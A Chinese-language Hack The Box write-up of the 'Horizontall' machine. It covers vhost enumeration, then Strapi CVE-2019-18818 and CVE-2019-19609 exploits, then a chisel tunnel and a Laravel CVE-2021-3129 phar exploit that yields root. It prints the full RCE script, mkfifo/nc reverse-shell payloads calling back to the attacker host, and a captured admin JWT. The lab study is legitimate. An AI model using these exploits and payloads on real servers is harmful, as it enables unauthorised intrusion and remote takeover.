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本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务探测
┌──(root💀kali)-[~]
└─# nmap -sV -Pn 10.10.11.105
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-02 08:48 EST
Nmap scan report for 10.10.11.105
Host is up (0.34s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
手机访问80端口，跳转到了一个叫horizontall.htb的域名
我们先把这个域名添加到/etc/hosts
echo "10.10.11.105 horizontall.htb" >> /etc/hosts
爆破目录
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://horizontall.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/horizontall.htb/-_21-12-02_09-01-00.txt
Error Log: /root/dirsearch/logs/errors-21-12-02_09-01-00.log
Target: http://horizontall.htb/
[09:01:01] Starting:
[09:01:10] 301 - 194B - /js -> http://horizontall.htb/js/
[09:01:11] 400 - 182B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[09:01:56] 400 - 182B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[09:02:01] 301 - 194B - /css -> http://horizontall.htb/css/
[09:02:06] 200 - 4KB - /favicon.ico
[09:02:11] 301 - 194B - /img -> http://horizontall.htb/img/
[09:02:15] 403 - 580B - /js/
[09:02:17] 200 - 901B - /index.html
只有几个文件夹，没啥有用的发现
vhost爆破
这里我卡了很久，找不到任何有用的东西，后来上论坛看hint，有人留言说二级域名可能有点东西
尝试爆破vhost，我们使用gobuster
先把这个字典下载到本地
┌──(root💀kali)-[~/htb/Horizontall]
└─# gobuster vhost -u horizontall.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/02 23:28:43 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
===============================================================
2021/12/02 23:35:06 Finished
===============================================================
找到一个可以利用的二级域名：api-prod.horizontall.htb
再次编辑/etc/hosts
把10.10.11.105 horizontall.htb替换成10.10.11.105 api-prod.horizontall.htb
现在我们可以在浏览器打开api-prod.horizontall.htb了
爆破二级域名
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://api-prod.horizontall.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/api-prod.horizontall.htb/-_21-12-03_00-35-14.txt
Error Log: /root/dirsearch/logs/errors-21-12-03_00-35-14.log
Target: http://api-prod.horizontall.htb/
[00:35:15] Starting:
[00:35:24] 400 - 182B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[00:35:35] 200 - 854B - /ADMIN
[00:35:35] 200 - 854B - /Admin/login/
[00:35:35] 200 - 854B - /Admin
[00:35:40] 400 - 67B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[00:35:45] 200 - 854B - /admin
[00:35:47] 200 - 854B - /admin/_logs/access_log
[00:35:47] 200 - 854B - /admin/.config
[00:35:47] 200 - 854B - /admin/.htaccess
[00:35:47] 200 - 854B - /admin/?/login
[00:35:47] 200 - 854B - /admin/
[00:35:47] 200 - 854B - /admin/_logs/error-log
[00:35:47] 200 - 854B - /admin/access_log
[00:35:47] 200 - 854B - /admin/admin-login
[00:35:47] 200 - 854B - /admin/_logs/access-log
[00:35:47] 200 - 854B - /admin/admin
[00:35:47] 200 - 854B - /admin/_logs/error_log
[00:35:47] 200 - 854B - /admin/admin/login
[00:35:47] 200 - 854B - /admin/adminLogin
[00:35:47] 200 - 854B - /admin/backup/
[00:35:48] 200 - 854B - /admin/backups/
[00:35:48] 200 - 854B - /admin/controlpanel
[00:35:48] 200 - 854B - /admin/db/
[00:35:48] 200 - 854B - /admin/error_log
[00:35:48] 200 - 854B - /admin/default
[00:35:48] 200 - 854B - /admin/FCKeditor
[00:35:48] 200 - 854B - /admin/home
[00:35:48] 200 - 854B - /admin/index
[00:35:48] 200 - 854B - /admin/index.html
[00:35:48] 200 - 854B - /admin/js/tiny_mce
[00:35:48] 200 - 854B - /admin/login
[00:35:48] 200 - 854B - /admin/js/tiny_mce/
[00:35:48] 200 - 854B - /admin/js/tinymce/
[00:35:48] 200 - 854B - /admin/js/tinymce
[00:35:48] 200 - 854B - /admin/cp
[00:35:48] 200 - 854B - /admin/account
[00:35:48] 200 - 854B - /admin/dumper/
[00:35:48] 200 - 854B - /admin/log
[00:35:48] 200 - 854B - /admin/logs/
[00:35:48] 200 - 854B - /admin/logs/error_log
[00:35:48] 200 - 854B - /admin/logs/access_log
[00:35:48] 200 - 854B - /admin/mysql/
[00:35:48] 200 - 854B - /admin/logs/access-log
[00:35:48] 200 - 854B - /admin/phpMyAdmin
[00:35:48] 200 - 854B - /admin/logs/error-log
[00:35:48] 200 - 854B - /admin/admin_login
[00:35:48] 200 - 854B - /admin/phpMyAdmin/
[00:35:48] 200 - 854B - /admin/manage
[00:35:48] 200 - 854B - /admin/pMA/
[00:35:48] 200 - 854B - /admin/pma/
[00:35:48] 200 - 854B - /admin/portalcollect.php?f=http://xxx&t=js
[00:35:48] 200 - 854B - /admin/phpmyadmin/
[00:35:48] 200 - 854B - /admin/scripts/fckeditor
[00:35:48] 200 - 854B - /admin/release
[00:35:48] 200 - 854B - /admin/sysadmin/
[00:35:48] 200 - 854B - /admin/private/logs
[00:35:48] 200 - 854B - /admin/sqladmin/
[00:35:48] 200 - 854B - /admin/sxd/
[00:35:48] 200 - 854B - /admin/signin
[00:35:48] 200 - 854B - /admin/tinymce
[00:35:48] 200 - 854B - /admin/tiny_mce
[00:35:49] 200 - 854B - /admin/web/
[00:36:20] 400 - 182B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[00:36:38] 200 - 1KB - /favicon.ico
[00:36:46] 200 - 413B - /index.html
[00:37:17] 200 - 507B - /reviews
[00:37:17] 200 - 121B - /robots.txt
有一个admin的后台
查看网页源代码，发现这个后台是由一个叫Strapi的cms做的
CVE-2019-18818
我们在谷歌搜索这个cms的漏洞利用脚本，选择这个exp
下载到本地以后执行攻击
┌──(root💀kali)-[~/htb/Horizontall]
└─# python3 exp.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI
此时我们有了一个cms的登录凭证：admin:SuperStrongPassword1
同时记住这个token：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI
CVE-2019-19609
登录进入后台以后，我们在仪表盘发现cms的版本号是：Strapi v3.0.0-beta.17.4
根据这个版本号。在谷歌上搜索可以利用的exp，我们找到这个攻击脚本
下载到本地
执行下面payload
python3 exp2.py "http://api-prod.horizontall.htb" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI" "id" "10.10.14.16"
┌──(root💀kali)-[~/htb/Horizontall]
└─# python3 exp2.py "http://api-prod.horizontall.htb" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM4NzY5NTcyLCJleHAiOjE2NDEzNjE1NzJ9.4rETx89O06Mqa1fWj4uwUVhqK9krXg6dP4BzfudH4mI" "id" "10.10.14.16"
=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
[+] Successful operation!!!
listening on [any] 9999 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 45258
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
第三个参数可以执行一条命令，由上可见当前webshell用户是strapi
但是这个shell每次只能执行一条命令，不好用。
现在我们知道exp是可以执行系统命令的，现在我们直接修改exp为一个反弹shell
# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 29/08/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://strapi.io/
# Affected Version: strapi-3.0.0-beta.17.7 and earlier
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2019-19609
#!/usr/bin/python3
# Author: @David_Uton (m3n0sd0n4ld)
# Github: https://m3n0sd0n4ld.github.io
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST
import requests, sys, os, socket
logoType = ('''
=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================
''')
if __name__ == '__main__':
# Parameter checking
if len(sys.argv) != 5:
print(logoType)
print("[!] Some of these parameters are missing.")
print('''
Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST
Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0])
# Exploit run
else:
# Paremeters
url = sys.argv[1]
token = sys.argv[2]
command = sys.argv[3]
lhost = sys.argv[4]
lport = 9999
s = requests.session()
r = s.post(url, verify=False) # SSL == verify=True
headersData = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Authorization': "Bearer %s" % token
}
postData = {
"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)"
}
print(logoType)
os.system("nc -nvlp 9999 &")
try:
print("[+] Successful operation!!!")
r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True
# Content print
print(r.text)
except:
print("[!] An error occurred, try again.")
sys.exit(1)
把postData里面的值从
"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)
改成：
"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)"
保存。
开启监听，执行攻击。
收到反弹的完整shell
─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 58760
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
$ whoami
strapi
提权
查看所有tcp连接
netstat -nap|grep tcp
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1845/node /usr/bin/
tcp 0 23 10.10.11.105:35982 10.10.14.16:4242 ESTABLISHED 2825/nc
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
查看所有进程
ps -aux |more
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
strapi 1798 0.0 0.3 76648 7324 ? Ss 05:40 0:00 /lib/systemd/systemd --user
strapi 1834 0.0 2.0 610056 40608 ? Ssl 05:40 0:00 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2)
strapi 1845 0.4 3.5 910600 72176 ? Ssl 05:40 0:03 node /usr/bin/strapi
strapi 2801 0.2 2.0 804984 40656 ? Sl 05:50 0:00 npm
strapi 2819 0.0 0.0 4640 932 ? S 05:50 0:00 sh -c strapi "install" "documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)"
strapi 2820 0.0 0.0 4640 104 ? S 05:50 0:00 sh -c strapi "install" "documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4242 >/tmp/f)"
strapi 2823 0.0 0.0 6328 748 ? S 05:50 0:00 cat /tmp/f
strapi 2824 0.0 0.0 4640 816 ? S 05:50 0:00 /bin/sh -i
strapi 2825 0.0 0.1 15724 2184 ? S 05:50 0:00 nc 10.10.14.16 4242
strapi 2844 0.0 0.4 38980 9768 ? S 05:51 0:00 python3 -c __import__('pty').spawn('/bin/bash')
strapi 2845 0.0 0.2 21364 5152 pts/0 Ss 05:51 0:00 /bin/bash
strapi 2930 0.0 0.1 38384 3508 pts/0 R+ 05:53 0:00 ps -aux
strapi 2931 0.0 0.0 8424 932 pts/0 S+ 05:53 0:00 more
根据进程和本地连接显示，有3个进程是只允许127.0.0.1本地监听的
3306是数据库，这个正常
1337是我们进来时候是strapi，我们从外网通过二级域名也可以访问
剩下的8000端口不知道是什么服务，我们用隧道连接看看
chisel隧道连接
kali端
┌──(root💀kali)-[~/chisel]
└─# ./chisel server -p 8888 --reverse
2021/12/06 01:19:43 server: Reverse tunnelling enabled
2021/12/06 01:19:43 server: Fingerprint RrZsQFbor2kqfDlA6y9yeOs9BiezohKLhkENPxg4P9A=
2021/12/06 01:19:43 server: Listening on http://0.0.0.0:8000
2021/12/06 01:20:59 server: session#1: tun: proxy#R:1337=>localhost:1337: Listening
靶机端
strapi@horizontall:/tmp$ ./chisel client 10.10.14.16:8888 R:8000:localhost:8000
<hisel client 10.10.14.16:8000 R:1337:localhost:1337
2021/12/06 06:22:21 client: Connecting to ws://10.10.14.16:8000
2021/12/06 06:22:24 client: Connected (Latency 386.283845ms)
现在我们本地已经监听到这个端口的服务了
┌──(root💀kali)-[~]
└─# netstat -ano |grep 8000
tcp6 0 0 :::8000 :::* LISTEN off (0.00/0/0)
浏览器打开localhost：8000是一个Laravel的展示页，显示版本是Laravel v8 (PHP v7.4.18)
爆破这个站点，看看有什么文件和目录
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://localhost:8000
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/localhost-8000/_21-12-06_01-38-51.txt
Error Log: /root/dirsearch/logs/errors-21-12-06_01-38-51.log
Target: http://localhost:8000/
[01:38:52] Starting:
[01:39:14] 200 - 603B - /.htaccess
[01:39:14] 200 - 17KB - /.htaccess/
[01:39:48] 405 - 547KB - /_ignition/execute-solution
[01:40:51] 200 - 1KB - /web.config
CVE-2021-3129
查看/_ignition/execute-solution目录，结合页面信息谷歌搜索有可能存在CVE-2021-3129
我在github上找到了这个exp
根据exp的攻击步骤，首先要在kali上安装phpggc
sudo apt install phpggc
把执行命令id编译到/tmp/exploit.phar文件
┌──(root💀kali)-[~/htb/Horizontall/phpggc]
└─# php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
查看tmp文件夹下已经生成了一个phar文件
┌──(root💀kali)-[~/htb/Horizontall/phpggc]
└─# ll /tmp/exploit.phar
-rw-r--r-- 1 root root 514 12月 6 02:33 /tmp/exploit.phar
执行攻击：
┌──(root💀kali)-[~/htb/Horizontall]
└─# python3 exp3.py http://localhost:8000/ /tmp/exploit.phar 1 ⨯
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
成功回显命令，发现是root权限
上面已经证明漏洞存在，可以执行任意命令，编译反弹shell
┌──(root💀kali)-[~/htb/Horizontall/phpggc]
└─# php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f'
开启一个监听
nc -lnvp 4444
再次执行攻击，收到root的反弹shell
┌──(root💀kali)-[~]
└─# nc -lnvp 4444 1 ⨯
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.105] 60848
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
总结
这是我第一次打HTB现役的机器，断断续续还花了挺长时间，vhost和隧道那里是很关键的两步，不然没法做下去，我自己也是看了论坛上作者的hint才想到。。
吃过的亏都是经验，继续努力。
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